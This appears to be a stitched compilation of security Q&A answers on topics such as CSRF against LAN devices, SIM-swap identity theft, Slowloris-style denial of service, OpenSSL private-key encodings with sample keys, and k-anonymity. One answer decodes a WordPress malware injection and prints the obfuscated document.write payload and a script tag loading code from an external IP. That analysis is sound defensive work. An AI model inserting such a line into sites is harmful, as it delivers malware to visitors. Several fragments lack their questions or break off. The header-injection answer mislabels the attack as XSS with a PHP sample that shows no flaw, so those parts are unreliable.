Can websites access computers in LAN/Localhost through browser & how to block them?

Most browsers don't distinguish between WAN, LAN and local host. This means they apply the same policies and restrictions for cross-site requests from WAN to LAN as between different sites on the WAN or between different sites on the same LAN.

This especially means that cross-site attacks like CSRF are possible, and such attacks are also used in practice for many years - see for example Large-scale attack hijacks your router through your browser.

And while CSRF can only cause unwanted actions (like change DNS settings of a router) but not be used by itself to exfiltrate data from inside other attacks can: if you have an internal site which is accessible by WebSockets it can also be accessed by default from outside by using the browser as a trampoline (Cross-Origin WebSocket). The internal site would explicitly need to check the Origin of the request in order to stop this access (i.e. open and insecure by default). Other attacks which make exfiltration possible are XSS attacks against internal sites or DNS rebinding. Also, explicitly set insecure settings of Cross-Origin Policies (CORS) on internal sites can be used for exfiltration too. And there might be more possible by using Flash.

Preventing this access is hard since most browsers do not distinguish  between internal and external sites. This means it is expected that internal sites have the same protection as external sites. Even a perimeter firewall which is used to protect the internal LAN from outside attacks will usually not prevent such access since these attacks work at a layer not visible to most firewalls.

One way to restrict such access is to use multiple browsers (or profiles) - one for internal and one for external sites. The access could be restricted by allowing internet access only through an explicit proxy: One browser will have the proxy configured for all sites and can thus only access external sites providing that the proxy does not allow access to internal sites. The other browser has no proxy configured and can thus internal but no external sites. This strict separation stops cross-site access between external and internal through the browser. But it probably impacts usability in most environments.


What will happen if I use weak passwords in a free SMS-sending website that exposes few personal information?

Well, the by far biggest threat is not the personal information leak on its own, but the ability of the attacker to impersonate you. By being able to send SMS from your number and a bit of social engineering, attacker can convince a lot of people he is you (or your friend in this example).

While he may not be able to persuade for example a Bank right away, he can just build up. First contact the cellphone service provider saying he needs a new SIM, getting full control of your phone number. Then using it to obtain recovery SMS code for your email. Use email to get access to plethora of web accounts by using "forgotten password" reset. Getting personal information from these account and eventually tricking important institutions, such as Banks. Basically pulling of full identity theft.


SSL MITM and Mutual Authentication - vendor marketplace

If both client and server would trust the MITM proxy then it would be possible to use faked certificates (issued by the MITM proxy) on both sides which are dynamically generated based on the original certificates send by server and client.

But in practice SSL inspection is usually used inside a perimeter firewall to protect clients inside the company. In this case the company has control of the clients and can make sure that all clients trust the CA of the MITM proxy. But, the company has usually no control of the servers and thus cannot make these trust the MITM proxy CA. Thus the servers will usually not accepting the faked client certificate which means that client certificates will not work. And since because of this problem there is usually no demand for this feature it is not implemented, although it would be possible in theory.


This is not a command line. this is a VIM text editor, and you have opened a C language program in it. you can press ":wq" to exit this editor and you will be back on the command line


You could download or write a script such as Neuber's Spy Protector http://neuber.com/taskmanager/index.html which has an option of blocking keyboard monitoring.


Which method of WPA2 enterprise is more secure: TTLS or PEAP

The most upvoted answer:

  PEAPv0, PEAPv1 and TTLS have the same security properties.

  PEAP is a SSL wrapper around EAP carrying EAP. TTLS is a SSL wrapper
  around diameter TLVs carrying RADIUS authentication attributes.

  EAP-TTLS-PAP can be useful over EAP-PEAP if backend authentication
  database store credentials in a non-reversible hash format such as
  bigcrypt or any form not compatible with MSCHAP (NT-OWF) In this case
  it is not possible to authenticate using any of the CHAP based
  methods.

  While you could also emulate PAP using EAP-PEAPv1-GTC this is not as
  widely supported by clients.

  PEAP has some added baggage over TTLS in the form of PEAP version
  negotiation headaches and historical incompatibilities in PEAPv1 (Such
  as client magic when deriving master key from PRF) which have made
  their way into early implementations.

  I normally see EAP-TTLS implemented in embedded clients such as
  subscriber modules in wireless gear with PEAP used more by laptop
  computers and mobile handsets.

  EAP-TTLS has historically not been supported in Windows clients
  without having to install third party software. EAP-TTLS is now
  supported starting with Windows 8.

  Some additional thoughts:

  EAP-TTLS was invented by a RADIUS vendor. EAP-PEAPv0 was invented by
  Microsoft. EAP-PEAPv1 came out of the IETF process.

  There was some additional IETF work on a PEAPv2 which would have made
  the system more secure by way of crypto bindings to inner
  authentication methods. This has not gone anywhere as near as I can
  tell.

The accepted answer was:

  You can support both, if your RADIUS backend supports it. However some
  clients "auto"-connects (Mac OS X >= 10.7 + iOS for example), and they
  might work less than optimal if you support more than one type, since
  they just try different combinations until one of them works i.e. they
  connect with less hassle if there's only one way to connect.

  So Basically: support PEAP only, or PEAP+TTLS if you have clients that
  require TTLS.

Source: Why would you use EAP-TTLS instead of PEAP?


519 tls handshake attempts in 3 seconds, with 415 within one second, was this a DDOS attack?

It's not a DDoS.

  It's a windows server 2008 r2 with latest updates, and the websites have an A rating on ssllabs.

That's what the source of the traffic is. The SSL Labs scanner will make a large number of SSL/TLS handshakes in order to test for support of various ciphers and features.


This second part of data sent is actually part of a loop on order to artificially keep some activity on the line.

If your script was only opening the connection to the server, send the first header, then passively wait, the server would close the connection after some inactivity timeout.

Here, you maintain a low activity, actually simulating some kind of very slow client needing a very, very long time to complete his request. Since there is still activity, the server cannot reach any inactivity timeout, and since the client has not yet ended its request the server cannot send any response yet. So the server thread is stuck waiting for this "slow client" to complete its request. And if you have enough of such requests ongoing in parallel, hopefully you will lock each available threads on this server with your "slow clients" requests, thus causing a Denial Of Service.

As per complementary information, the actual data sent to the server to keep a low activity is not such important. The idea here is just to send a formally valid HTTP header (: \r\n), the prefix "X-" being added to non-standard or proprietary headers, so we are still appearing to send some legit request data.


Is it safe to open "suspect" pdf files in virtual machine?

Short of setting up a dedicated (physical) machine just for potential malware, a dedicated virtual machine is pretty much your safest option. It's how the professionals do it.

Make sure your virtualization program (e.g. VirtualBox, VMware) is up to date. Malware could potentially escape a virtual machine, but such vulnerabilities tend to be fixed in updates very quickly.

  As a sidenote, should I be so worried of PDF files?

As with many other things: it depends. Do you know the source of the PDF? Is that source trustworthy? If the answer is "yes" to both of those questions, there is little reason to worry. If the answer is "no", then you might want to proceed with caution.

However, even if the PDF contains malicious code, you are generally only at risk if you open it with a viewer that contains some vulnerability, allowing the code to "escape" the viewer. This is analogous to a program escaping a VM, or JavaScript escaping the sandbox of your browser.

In short: use an up-to-date viewer, and you're probably fine. Still worried? Check it out in an up-to-date VM.


What happens for private key storage is a bit intricate because it involves several layers of underspecified crud accumulated over years and kept for backward compatibility. Let's unravel the mystery.

For its cryptographic operations, including private key storage (that which we are presently interested in), OpenSSH relies on the OpenSSL library. So OpenSSH will support what OpenSSL supports.

A private key is a bunch of mathematical objects which can be encoded in a structure which is, normally, binary (i.e. a bunch of bytes, not printable characters). Let's assume a RSA key. The format for a RSA private key is defined in PKCS#1 as an ASN.1 structure which will be encoded using the DER encoding rules.

Since a lot of crypto-related tools began their life in the early and mid-1990s and, at that time, email was most fashionable (the Web was still young), tools strived at using characters which could be pasted into an email (attached files were not yet common in these days). Notably, there was an early standard called Privacy-enhanced Electronic Mail, or "PEM". That standard was never really deployed or used, and other systems trumped it (namely PGP and S/MIME), but one feature of PEM stuck: a way to encode binary object into printable text. This is the PEM format. It looks like this:

-----BEGIN SOMETHING-----
Some-optional: headers

Base64+Encoded+Data==
-----END SOMETHING-----

So PEM is a kind of wrapper with the binary data being encoded in Base64, and header and footer lines added, which include a type (the "SOMETHING"). The "optional headers" is a later addition of OpenSSL, and it has never been standardized, so PEM-with-headers is documented only as "what OpenSSL does". OpenSSL documentation being what it is, this means that, in order to know what this process exactly entails, you have to dive in the dreaded OpenSSL source code.

Here is an unencrypted RSA private key, in PEM format:

-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDQ33ndDr5N/AI8y2PzrqGbadLeS5fSf2GsVJx2B2KxhazL2z5O
ufin+wjJ1hW12/zWyQs/9CFYQFrife+PrMUOdLitsmlD3l4lBQ29+XKsmPabtINP
JQ0n4dxgBGeFxTCd4lJwiysmVsXPnNrgQTcx2nirrIk1C7wSW9Ai9W3fZQIDAQAB
AoGBAKiKSvkW9nRSzzNjIwn0da7EG0UIVj+iTZwSwhVzLC32oVH1XTeFVKGnLJZA
y0/tbP2bSBqY0Xc2pp9v4yhZzr6/BUPX+N1FOW8Q5OXHMD4fXSixrX0vYOT8hQuC
ehTAXsStjkZqzCdCsKV9YIduTHoyjL2jG6QBvFQK7kHaYUwZAkEA+rp2b+eBDJrg
lqcPOE2HkCkQcReSW0OIoUgd2tIiPFL8HSNwKvvAAH+QBKL6jvecLswJneecon8Z
jsgn4K/EpwJBANVDultbYq/h3F5FbAQ4r6cMQ2ZmmhMFdt8rRvAdEz18CuobGvAQ
y31hU/InW0n+Z0oHCsIgyowSeCGwRLMJYRMCQGKDXQG+/k+Lku7emPZQUBFucQ1e
a5z8PfTQtxpBMj5thK2WPP5GiDwp4tZPiw8dbvpcJPMsC7k1Iz+cmT6JEUUCQBxz
X54mb+D06bgt3L4nbc+ERE2Z7H4TIYueM2V/C30NWktm+E4Ef5EnddJ9S6Fwbgkj
LV0+kKblI9+iq1eTLb8CQQC+QDF7Y1o4IpDGcu+3WhS/pI/CkXD2pDMJM6rGBgG6
g9D1VTPCx0LZAWK4GdmELhPM+0ePH4P24/VsJY4mvutQ
-----END RSA PRIVATE KEY-----

As you can see, the type is "RSA PRIVATE KEY". The ASN.1 structure can be explored with openssl asn1parse:

$ openssl asn1parse -i -in keyraw.pem
    0:d=0  hl=4 l= 605 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim:  INTEGER           :00
    7:d=1  hl=3 l= 129 prim:  INTEGER           :D0DF79DD0EBE4DFC023CCB63F3AEA19B69D2DE4B97D27F61AC549C760762B185ACCBDB3E4EB9F8A7FB08C9D615B5DBFCD6C90B3FF42158405AE27DEF8FACC50E74B8ADB26943DE5E25050DBDF972AC98F69BB4834F250D27E1DC60046785C5309DE252708B2B2656C5CF9CDAE0413731DA78ABAC89350BBC125BD022F56DDF65
  139:d=1  hl=2 l=   3 prim:  INTEGER           :010001
  144:d=1  hl=3 l= 129 prim:  INTEGER           :A88A4AF916F67452CF33632309F475AEC41B4508563FA24D9C12C215732C2DF6A151F55D378554A1A72C9640CB4FED6CFD9B481A98D17736A69F6FE32859CEBEBF0543D7F8DD45396F10E4E5C7303E1F5D28B1AD7D2F60E4FC850B827A14C05EC4AD8E466ACC2742B0A57D60876E4C7A328CBDA31BA401BC540AEE41DA614C19
  276:d=1  hl=2 l=  65 prim:  INTEGER           :FABA766FE7810C9AE096A70F384D879029107117925B4388A1481DDAD2223C52FC1D23702AFBC0007F9004A2FA8EF79C2ECC099DE79CA27F198EC827E0AFC4A7
  343:d=1  hl=2 l=  65 prim:  INTEGER           :D543BA5B5B62AFE1DC5E456C0438AFA70C4366669A130576DF2B46F01D133D7C0AEA1B1AF010CB7D6153F2275B49FE674A070AC220CA8C127821B044B3096113
  410:d=1  hl=2 l=  64 prim:  INTEGER           :62835D01BEFE4F8B92EEDE98F65050116E710D5E6B9CFC3DF4D0B71A41323E6D84AD963CFE46883C29E2D64F8B0F1D6EFA5C24F32C0BB935233F9C993E891145
  476:d=1  hl=2 l=  64 prim:  INTEGER           :1C735F9E266FE0F4E9B82DDCBE276DCF84444D99EC7E13218B9E33657F0B7D0D5A4B66F84E047F912775D27D4BA1706E09232D5D3E90A6E523DFA2AB57932DBF
  542:d=1  hl=2 l=  65 prim:  INTEGER           :BE40317B635A382290C672EFB75A14BFA48FC29170F6A4330933AAC60601BA83D0F55533C2C742D90162B819D9842E13CCFB478F1F83F6E3F56C258E26BEEB50

We recognize here the components of a RSA private key: some big integers. See PKCS#1 for mathematical details.

It so happens that the PEM-extended format that OpenSSL uses supports password-based encryption. After some code reading, it turns out that encryption uses CBC mode, with an IV and algorithm specified in the headers; and the password-to-key transform relies on EVP_BytesToKey() (defined in crypto\evp\evp_key.c) with the following features:

This is a non-standard hash-based key derivation function.
The IV for encryption is also used as salt.
The hash function is MD5.
The hash is used repeatedly, for n iterations, but in the case of PEM encryption, the iteration count n is set to 1.

That the KDF is non-standard is a source of worry. Reusing the encryption IV for a salt is a minor worry (that's mathematically unclean, but probably not a real problem -- and, at least, there is a salt). Use of MD5 is also a minor worry (though MD5 is thoroughly broken with regards to collisions, key derivation usually relies on preimage resistance, for which MD5 is still quite strong, almost as good as new). The iteration count set to 1 (which means, no loop at all) is a serious issue.

This means that if an attacker tries to guess the password for a PEM-encrypted key, the computational cost for each try will be minimal. With a good GPU, that attacker could try several billions of passwords per second. That's way too fast for comfort. Password-based key derivation should be both salted and slow, and the OpenSSL PEM-encryption format fails on the second point. See this answer for a detailed discussion.

Here is a PEM-encrypted private key; encryption algorithm was set to AES-128. The password is "1234":

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,8680A1BEAE5661AAD8DA344B7495BCD4

4cvmuk8onrB5IQVRr6xRUBt6yRcjNUGcUWq0CcyX4p4iijANv/S7H5Ga8e5e+12m
k6UUt65mF54Ddh+WE4lHHy5yYEPa25tr/KBMErEhHJxYFiwRwgw/KoF2V8Cpgidd
BA5aeO+5/FmCiTkx/tGYbpE2emfcQ+oNdAKRhIEjIAfItrU4Bj2nQZdiiY0tFEfT
hn5HZ0X1i1yi63nxVGQH+oQQH9+ccPk87cIRLf3IK1B3M0J0j11XDhQdIXwAx9hV
52GXgkk0NX7EtT5Cq3x0Q513e70QA9ua1lt8yaCynkLrYKmMQQCKsLlJDSh+sUyu
ndiVl0g73cUPd962Tp/WCLOV4/DWShfZexfjoibjCkR81OVa9cguYITCXV3QGRCM
wo09DI/INOs1s6FS4ZKugpwgKEX6knh0Fo1i6DdVJQfeQvUo+MhbFjjK0SXT4QWc
4rlQv0Q1YoNn1EzFzsVwx7PhtU9wo4PU1978+582mrJBjteIN9a8z+7lZT1qKynD
BG3XUjnWAq4k5KUj5mEJkSSs2R2AIhHNiSmwmcuzHf67er1KrWvL+g8AXXJ8xLjh
P6ImJeMoEI7P2zb4FvSkQFF5SDjmaPNPpo6xe330EdSSWZTZtcgc9yH++I8ZX9Kb
0UnWic5HTZOx0VLqEqDw+iWufnUDMvq98tGD5c+BQqqofBZae5YNYfko1tCGoz/3
ZygMcOdRqRugur5SiCZnYCnIeQvVNi7nwfp2Bb3K0XMCr12IdeRDuoe45MzoG9zD
hLk0Y3VHS3eANvEsBMAwcyTBjgs8Q3bHdHwnPjVcAo3auOkyXUHZ7DEIxnmvVfaS
-----END RSA PRIVATE KEY-----

Because of the encryption, the bytes can no longer be analysed with asn1parse.

PKCS#8 is an unrelated standard for encoding private keys. It is actually a wrapper. A PKCS#8 object is an ASN.1 structure which includes some type information and, as a sub-object, a private key. The type information will state "this is a RSA private key". Since PKCS#8 is ASN.1-based, it results in non-printable binary, so OpenSSL will happily wrap it again in a PEM object.

Thus, here is the same RSA private key as above, as a PKCS#8 object, itself PEM-encoded:

-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBANDfed0Ovk38AjzL
Y/OuoZtp0t5Ll9J/YaxUnHYHYrGFrMvbPk65+Kf7CMnWFbXb/NbJCz/0IVhAWuJ9
74+sxQ50uK2yaUPeXiUFDb35cqyY9pu0g08lDSfh3GAEZ4XFMJ3iUnCLKyZWxc+c
2uBBNzHaeKusiTULvBJb0CL1bd9lAgMBAAECgYEAqIpK+Rb2dFLPM2MjCfR1rsQb
RQhWP6JNnBLCFXMsLfahUfVdN4VUoacslkDLT+1s/ZtIGpjRdzamn2/jKFnOvr8F
Q9f43UU5bxDk5ccwPh9dKLGtfS9g5PyFC4J6FMBexK2ORmrMJ0KwpX1gh25MejKM
vaMbpAG8VAruQdphTBkCQQD6unZv54EMmuCWpw84TYeQKRBxF5JbQ4ihSB3a0iI8
UvwdI3Aq+8AAf5AEovqO95wuzAmd55yifxmOyCfgr8SnAkEA1UO6W1tir+HcXkVs
BDivpwxDZmaaEwV23ytG8B0TPXwK6hsa8BDLfWFT8idbSf5nSgcKwiDKjBJ4IbBE
swlhEwJAYoNdAb7+T4uS7t6Y9lBQEW5xDV5rnPw99NC3GkEyPm2ErZY8/kaIPCni
1k+LDx1u+lwk8ywLuTUjP5yZPokRRQJAHHNfniZv4PTpuC3cvidtz4RETZnsfhMh
i54zZX8LfQ1aS2b4TgR/kSd10n1LoXBuCSMtXT6QpuUj36KrV5MtvwJBAL5AMXtj
WjgikMZy77daFL+kj8KRcPakMwkzqsYGAbqD0PVVM8LHQtkBYrgZ2YQuE8z7R48f
g/bj9Wwljia+61A=
-----END PRIVATE KEY-----

As you see, the type indicated in the PEM header is no longer "RSA PRIVATE KEY" but just "PRIVATE KEY". If we apply asn1parse on it, we get this:

    0:d=0  hl=4 l= 631 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim:  INTEGER           :00
    7:d=1  hl=2 l=  13 cons:  SEQUENCE
    9:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
   20:d=2  hl=2 l=   0 prim:   NULL
   22:d=1  hl=4 l= 609 prim:  OCTET STRING      [HEX DUMP]:30820<skip...>

(I have cut a lot of bytes in the last line). We see that the structure begins by an identifier which says "this is a RSA private key", and the private key itself is included as an OCTET STRING (and the contents of that string are exactly the ASN.1-based structure described above).

PKCS#8 optionally supports password-based encryption. This is a very open format so it is potentially compatible with every password-based encryption system in the world, but software has to support it. OpenSSL supports old DES+MD5 encryption, or the newer PBKDF2 and a configurable algorithm. DES (not 3DES) is a minor issue: DES is relatively weak because of its small key size (56 bits) making a break through exhaustive search technologically feasible (it has been done); however, this would be quite expensive for an amateur. Still, it is better to use PBKDF2 and a better encryption algorithm.

Given a raw private key as shown above, here is an OpenSSL command-line which turns it into a PKCS#8 object, with 3DES encryption and PBKDF2 for the password-based key derivation:

openssl pkcs8 -topk8 -in keyraw.pem -out keypk8.pem -v2 des3

which yields:

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIICxjBABgkqhkiG9w0BBQ0wMzAbBgkqhkiG9w0BBQwwDgQIZT3rvVU85p0CAggA
MBQGCCqGSIb3DQMHBAgtYXWrNG+OYgSCAoCewt8WkgCDaBCSOoe88WTpV2haxUFW
iWkdJQtEkzkpYnwA0E0Bj5CBnSd3EdSRmup0rP9WxzdMe+qx2N+GGLTcmA7pMyBV
XK9OTdiixMWvlG64lrLFtQxoKaxo48zUVobLuRrtaVLvwZ7OpO4hA2zsl6qaWaV7
8GEiAWz28K3DIBDVr1CKpEdFf7epkC7e1/ojJDNAwPiE9rxkaqGHpogqJQKb5s8X
ZyGhVG3rPuwgOxhU5d1G7K6+N9wKYkZXiCmsoqZxD94M3QH8sM8YF41rxBsbPSJ/
7JgGQMOJQxxrdeHSAt5P1iasI7lNXa7HacTZl1nPDXpnpjKA5E/jNMf1EgV+sN3f
pL4GoFvw8zImOF4OHdo9KBz61oKFylQrGQM6WhCsTqsSVZxR0tH8ERSOhhWn2wmy
NgiagfVT4nED9XFInEwTKoXKUjTSOHUmbTl/HF637NrYjSBLgT/e+XBQBmFMSaNc
+KLlJRHpjB8QZ8cIdDFwVIYkmm4Po7h1uYob1d2/4saxjHrtZ8f7GqmT/SGXMpj5
eL0bXDXdjcapDkLx5X0/BYI3AYTlFXEZU0UJT8aad0Fiygw1bLVDR8yDl63Bthlb
gS15LhjqGYGhgX3tARS94HtBvlSAtgV6AB5QjEJfU7jgyu0lFn1hTULmwFJVkjj6
Oy2WeuHseOZ1X45V7DvNcS1iT7fttwQZoSvdks8WulsodpOr7sbtaJbsUUToTxIN
GtNQo9Ce/QAeONmSf8G9jbBURBmLH+kzzzptYcCsVaaUnWPpgebH/WJRa83quPw6
fwy3xZgg9pPHFBiFAG2c3Uuelat/eXhXdW74XlDgOIpmbMfsDxaVOiuM
-----END ENCRYPTED PRIVATE KEY-----

So now that's an "ENCRYPTED PRIVATE KEY". Let's see what asn1parse can say about it:

    0:d=0  hl=4 l= 710 cons: SEQUENCE
    4:d=1  hl=2 l=  64 cons:  SEQUENCE
    6:d=2  hl=2 l=   9 prim:   OBJECT            :PBES2
   17:d=2  hl=2 l=  51 cons:   SEQUENCE
   19:d=3  hl=2 l=  27 cons:    SEQUENCE
   21:d=4  hl=2 l=   9 prim:     OBJECT            :PBKDF2
   32:d=4  hl=2 l=  14 cons:     SEQUENCE
   34:d=5  hl=2 l=   8 prim:      OCTET STRING      [HEX DUMP]:653DEBBD553CE69D
   44:d=5  hl=2 l=   2 prim:      INTEGER           :0800
   48:d=3  hl=2 l=  20 cons:    SEQUENCE
   50:d=4  hl=2 l=   8 prim:     OBJECT            :des-ede3-cbc
   60:d=4  hl=2 l=   8 prim:     OCTET STRING      [HEX DUMP]:2D6175AB346F8E62
   70:d=1  hl=4 l= 640 prim:  OCTET STRING      [HEX DUMP]:9EC2DF16920<skip...>

We see there that PBKDF2 is used. The OCTET STRING with contents 653DEBBD553CE69D is the salt for PBKDF2. The INTEGER of value 0800 (that's hexadecimal for 2048) is the iteration count. Encryption itself uses 3DES in CBC mode, with its own randomly generated IV (2D6175AB346F8E62). That's fine. PBKDF2 uses SHA-1 by default, which is not an issue.

It so happens that while OpenSSL supports somewhat arbitrary iteration counts (well, keep it under 2 billions to avoid issues with 32-bit signed integers), the openssl pkcs8 command-line tool does not allow you to change the iteration count from the default 2048, except to set it to 1 (with the -noiter option). So that's 2048 or 1, nothing else. 2048 is much better than 1 (say, it is 2048 times better), but it still is quite low by today's standard.

Summary: OpenSSH can accept private keys in raw RSA/PEM format, RSA/PEM with encryption, PKCS#8 with no encryption, or PKCS#8 with encryption (which can be "old-style" or PBKDF2). For password protection of the private key, against attackers who could steal a copy of your private key file, you really want to use the last option: PKCS#8 with encryption with PBKDF2. Unfortunately, with the openssl command-line tool, you cannot configure PBKDF2 much; you cannot choose the hash function (that's SHA-1, and that's it -- and that's not a real problem), and, more importantly, you cannot choose the iteration count, with a default of 2048 which is a bit low for comfort.

You could encrypt your key with some other tool, with a higher PBKDF2 iteration count, but I don't know of any readily available tool for that. This would be a matter of some programming with a crypto library.

In any case, you'd better have a strong password. 15 random lowercase letters (easy to type, not that hard to remember) will offer 70 bits of entropy, which is quite enough to thwart attackers, even when bad password derivation is used (iteration count of 1).


Sucuri detects malware on wordpress but I can't find the malicious code

The malware in question is hosted elsewhere, and is (probably) being added by cross-site-scripting (XSS). If you have a look at the "var src" part, you'll see a long string of Base64-encoded text:

ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=

When decoded, that turns out to be the following:

document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%39%33%2E%32%33%38%2E%34%36%2E%35%37%2F%6D%52%50%50%7A%43%22%3E%3C%2F%73%63%72%69%70%74%3E'));

document.write adds the specified code into the DOM. URL-decoding the part inside "unescape" results in the following script tag (spaces added to break it):

<script src="http://193.238.46.57/            mRPPzC"></script>

So, the malware is likely hosted at THAT url (whatever it is), and is being injected into the page via the document.write command.

A quick guide to how I did this

Install Notepad++.
Make sure the Mime tools plugin is installed (might be by default?)
Copy the Base64-encoded string into a new file, and select the text.
Under "Plugins", select "MIME Tools" --> Base 64 Decode
Copy and paste the part inside unescape onto a new line
Select the new line and then select "Plugins" --> MIME Tools --> URL Decode


AirPcap is end-of-availability. What alternatives do you recommend?

I have no idea why Riverbed stopped selling these devices, here is my guess.

The AirPcap FAQ advertises the product as:

  AirPcap is  a family of  wireless capture devices and drivers representing the first open, affordable and easy to deploy 802.11 packet capture solutions for the Windows platform.

The page lists support for Windows 2000 up to Windows 7. The main differentiating feature is that it provided raw 802.11 capture support on Windows since this has to be provided by the driver. Over time, the driver APIs have changed a bit. It reportedly still works for Windows 10, but I guess that the Windows driver has not really been developed that much.

In meantime, 802.11ac is becoming more common while the AirPcap product line is still limited to 802.11n. So at the hardware level, it is also behind.

Now what probably killed it is the availability of the Npcap driver which also seems to provide raw 802.11 support for devices other than AirPcap (including 802.11ac).

Concluding remark: if you were not limited to Windows, note that Linux has for a very long time supported raw 802.11 capture support for all devices that use the mac80211 framework (where the Linux kernel is responsible for frame management). For educational purposes I just bought a €15 USB 802.11n adapter which I used on Linux. For me there was no reason to even consider an expensive AirPcap adapter (which has Windows support as its unique selling point).


In theory, yes.  I did this for over a year some time back.  Be prepared for the possibility of this hurting your overall throughput, especially if you've got a lot of traffic and are approaching the maximum of your firewall's interface.

Another caution, at a conference where a team was going to demonstrate this using a Linksys hub, they discovered Linksys was branding some of their switches as hubs.  This was > 5 years ago but I wanted to warn you to avoid potential frustration.


Role Based Authorization vs. Claim Based Authorization

Claims are a method of providing information about a user, and roles are a description of a user by way of which roles they belong.

Claims are generally more useful because they can contain arbitrary data -- including role membership information. E.g. whatever is useful for the given application.

Claim Based identities are more useful, but tend to be trickier to use because there's a lot of setup involved for acquiring the claims in the first place. RBAC identities are less useful because they are just a collection of roles, but they are generally easier to setup.

The .NET stack, and Windows as a whole, is going claims. Windows authn tickets are claims, and Active Directory now has the ability to use claims for certain functions. The .NET stack uses a claims identity as the base identity object now by default.


Would a user editable URL be subjected to client vilnerability?

Should I be concerned about having going down this route?

Not really.  There are so many ways for someone to submit modified URLs to your server that, if making the field non-editable in your app is your protection, then you're in deep trouble.

For example, a user could use a special tool like Postman.  A user could set up a Burp proxy to intercept and edit the requests.  A user could implement their own client in Python or some other flexible language.

The application you publish is just one entry point to your service.  Focus instead on making the service resilient to unanticipated inputs.


Does it serve any purpose to have a CRL with the next update scheduled for 25 years in the future?

That could be that an IT person said "I don't want to deal with this", and did the CA equivalent of "Postpone reboot for 100 years".

Or it could be a CRL intended for an offline environment where the clients validating certs will not have access to the internet to fetch a new CRL. For example, IoT devices inside a car that are communicating with each other over TLS.

It's also not uncommon that the root CA in a hierarchy will be "offline", ie it issues certificates to the intermediate CAs, and then gets shut down. The issuing CAs create CRLs regularly to revoke end-entity certificates, but since a compromised issuing CA would create much larger problems, so it's not worth the effort of waking the root up regularly to publish a CRL.

Either way, it means that this CA doesn't really have the ability to revoke the certificates it issued because clients won't try to fetch a new CRL until Jun 12 21:19:12 2044 GMT.


I dont fully understand your question. Are you trying to limit users using particular IP and port?
In the real world we use random ports to connect to the target server port, i.e. you are using 65311 port to connect to google.com 80 port. So if you want to block the user's connection port from connecting to outside is quite usual. However you can still use NAT to limit what port can pass through the router from internal to external.

Moreover, you can assign MAC address to certain IP otherwise unauthorised or unset MAC address has no right to connect to outside.


Is it possbile to conduct http header injection attack with a web site or web app uses https?

Yes it is possible, but only in certain cases.  There are two general classes of Header Injection attacks that I am aware of:

One is a Man-in-the-Middle (MITM) attack where someone is intercepting your traffic to inject header info.  HTTPS connections protect against these.

The second is a Cross-Site Script (XSS) attack.  These are attacks against an application level vulnerability where a user of a website can use his input to affect the way that headers are dynamically created for other users. With XSS attacks, you change the way the server parses what it's sending you before it is encrypted for transmission; thus the content can be modified.

An example of this vulnerability might look like:

<?php
  ... // functions and SQL to collect $resultHeader and $resultHTML parameters from your database.
  $header = buildHeader($resultHeader);
  $html = buildHTML($resultHTML);
  echo $header;
  echo $html;
?>

Since the buildHTML() function processes before the $header variable is written to the page, a PHP injection could rewrite $header before it is echoed.


Server encryption to prevent access by hoster

TL;DR: Not practical

You can use encryption. If root password is reset, the data would still not be possible to decrypt. So assuming your hosting company had to restart the server to reset the password, this would work. However, if you use encryption, you would have to enter the password somehow after each reboot. So not practical. And if you save the password, your hosting company would be able to easily see it.


How long should a email confirmation code be to avoid brute forcing

Provide a URL with a long identifier, user not having to login, and a short 4-digit code, where the user has to log in, and limit to for instance 5 attempts per 24hr.

And it's not like it's hard to get an e-mail account today, so it's of limited overall value.


What is the definition of "sensitive attribute" in the context of k-anonimity?

In the k-Anonymity data model, there are different types of attributes:

Identifiers allow direct identification and must be removed.
Quasi-Identifiers allow linking with other datasets. It is assumed that the data holder knows which attributes are quasi-identifiers. In practice, this can be difficult since this depends on all the other data available in the universe.
Sensitive attributes are those attributes that shouldn't be linkable to an individual. What is sensitive depends on the context. Misjudging of sensitivity can lead to a weaker than expected anonymization.
Other attributes (neither sensitive nor quasi-identifiers) are not relevant.

In the k-anonymized data set you've shown (k=2), the data holder has anonymized attributes like name, age, gender, state, and religion. This indicates that the data holder considers these attributes to be identifiers or quasi-identifiers. However, there is no k-anonymization with regards to the disease attribute. This indicates that the data holder does not consider this attribute to be a quasi-identifier, but likely a sensitive attribute for which linkage should be prevented.
If I have information like “a female patient from Kerala between 20 to 30 years of age”, then I can't be certain about their disease – it could be either a viral infection or a heart-related illness. The anonymization at k=2 holds.
However, if I have information like “a cancer patient from Kerala” then I can easily identify the patient in the dataset. This is because I was able to use the disease attribute as a quasi-identifier, contrary to the assumptions of the data holder. This is an example of a background knowledge attack. Weaker variants of such attacks include background knowledge of correlation or distribution of attributes, allowing probabilistic identification.
This difficulty in determining actual quasi-identifiers is a core weakness in the k-anonymity model. To be safe, everything should be considered to be a quasi-identifier, but this will clearly reduce data quality. From an attacker perspective, understanding the differences between the data holder's assumptions and the actually available information may enable re-identification. Indeed, Sweeney's motivation for developing k-anonymization and similar methods was that she was able to link two supposedly anonymized datasets, since the data holders hadn't considered quasi-identifiers like ZIP code, gender, and date of birth.


Digested passwords only have as much entropy as was in the password passed to the hashing function. GPG uses cryptographic sources of random numbers to generate the private key, and encrypts it with a user's password. This ensures that the encryption algorithms are allowed to use a key with maximum entropy, but also prevents a user's key from being compromised in the event of data theft.

It's the best of both worlds, really.


Unfortunately you won't know without looking at, and understanding, the contents of the ads. There are two main concerns here.

